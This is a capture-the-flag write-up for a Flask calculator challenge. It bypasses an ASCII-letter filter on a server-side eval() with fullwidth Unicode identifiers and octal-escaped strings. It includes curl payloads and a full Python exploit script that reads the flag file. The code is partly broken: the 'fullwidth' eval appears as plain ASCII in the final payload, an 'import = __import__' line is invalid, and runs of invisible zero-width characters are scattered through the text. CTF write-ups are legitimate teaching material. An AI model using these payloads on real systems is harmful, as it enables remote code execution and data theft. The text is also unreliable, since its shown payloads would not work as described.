← Back to Writeups
CUSTOMMediumMisc

Flask Calculator

XESXOR9/2/20264 min read
#misc#custom#medium#unicode_normalization_bypass#fullwidth_characters#octal_escape_sequences#eval_injection#linux

Flask Calculator

Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: unicode_normalization_bypass, fullwidth_characters, octal_escape_sequences, eval_injection

Summary

Flask Calculator - Duckerz CTF

Challenge Description

Original (Russian):

В унике попросили написать калькулятор в качестве первой лабы, но препод сказал, что я сделал что-то не так…

Translation:

At uni they asked me to write a calculator as my first lab, but the professor said I did something wrong...

URL: http://tasks.duckerz.ru:30062

Analysis

Initial Reconnaissance

The challenge presents a Flask-based web calculator that accepts mathematical expressions via POST request. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Basic functionality test
curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=7*7'
# Returns: 49

curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=2**3'
# Returns: 8

The server clearly uses Python's eval() function to compute expressions - a classic security vulnerability.

Filter Discovery

The HTML form has maxlength="9" but this is client-side only. The server accepts longer input.

However, there's a server-side filter in place:

bash
# Attempting to use letters
curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=open'
# Returns: "Only [0-9] and special characters"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Filter rules identified:

  • Regular ASCII letters (a-z, A-Z) are BLOCKED
  • Underscore (_) is BLOCKED
  • Digits (0-9) are ALLOWED
  • All special characters are ALLOWED: !@#$%^&*()-+=[]{}|\\:;"'<>,./?~

Bypass Techniques

Technique 1: Octal Escape Sequences

Python strings support octal escape sequences (\NNN). These can be used to construct any string without using actual letters:

python
# Example: "open" in octal
"\157\160\145\156"  # = "open"

# Octal values:
# o = 157 (octal) = 111 (decimal)
# p = 160 (octal) = 112 (decimal)
# e = 145 (octal) = 101 (decimal)
# n = 156 (octal) = 110 (decimal)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This allows creating arbitrary strings, but we still need a way to execute them.

Technique 2: Fullwidth Unicode Characters (KEY BYPASS)

This is the critical discovery. Unicode contains "fullwidth" versions of ASCII letters:

  • Fullwidth lowercase: U+FF41 to U+FF5A (a to z)
  • Fullwidth uppercase: U+FF21 to U+FF3A (A to Z)

Crucially:

  1. The filter does NOT block these characters (it only checks for ASCII letters)
  2. Python's identifier normalization recognizes fullwidth letters as valid identifiers
  3. eval (fullwidth) is treated as the built-in eval function! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
# Fullwidth "eval":
# e = U+FF45
# v = U+FF56
# a = U+FF41
# l = U+FF4C

Solution

Building the Payload

We need to execute: open('flag').read()

Step 1: Convert the command to octal:

python
def to_octal(s):
    return ''.join(f'\\{ord(c):03o}' for c in s)

command = "open('flag').read()"
print(to_octal(command))
# Output: \157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051

Step 2: Wrap with fullwidth eval:

eval("\157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is equivalent to:

python
eval("open('flag').read()")

Final Exploit

bash
curl -s -X POST http://tasks.duckerz.ru:30062 \
  --data-urlencode 'Expression=eval("\157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051")'

Python Exploit Script

python
#!/usr/bin/env python3
"""
Flask Calculator - Duckerz CTF
Unicode normalization + octal escape bypass
"""

import requests

URL = "http://tasks.duckerz.ru:30062"

def to_fullwidth(s):
    """Convert ASCII letters to fullwidth Unicode"""
    result = ""
    for c in s:
        if 'a' <= c <= 'z':
            result += chr(ord(c) - ord('a') + 0xFF41)
        elif 'A' <= c <= 'Z':
            result += chr(ord(c) - ord('A') + 0xFF21)
        else:
            result += c
    return result
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def to_octal(s):
    """Convert string to octal escape sequence"""
    return ''.join(f'\\{ord(c):03o}' for c in s)

# Build payload
command = "open('flag').read()"
octal_command = to_octal(command)
fullwidth_eval = to_fullwidth("eval")

payload = f'{fullwidth_eval}("{octal_command}")'
print(f"[*] Payload: {payload}")

# Execute
response = requests.post(URL, data={"Expression": payload})
print(f"[+] Response: {response.text}")

Technical Deep Dive

Why Fullwidth Characters Work

Python uses Unicode normalization (NFKC) for identifiers. This means: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
# These are all equivalent in Python:
eval        # Regular ASCII
eval      # Fullwidth (U+FF45, U+FF56, U+FF41, U+FF4C)

The filter likely uses a simple regex like [a-zA-Z] or isalpha() on ASCII, which doesn't catch fullwidth characters.

Octal Escape Reference

Common characters in octal:

CharOctalCharOctal
a\141n\156
e\145o\157
f\146p\160
g\147r\162
l\154t\164
'\047(\050
)\051.\056
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Approaches

Using __import__

python
# Fullwidth __import__ with octal for module name
import = __import__  # If underscore was allowed

Using getattr and __builtins__

python
# More complex but works if other functions are available
getattr(builtins, "\145\166\141\154")

References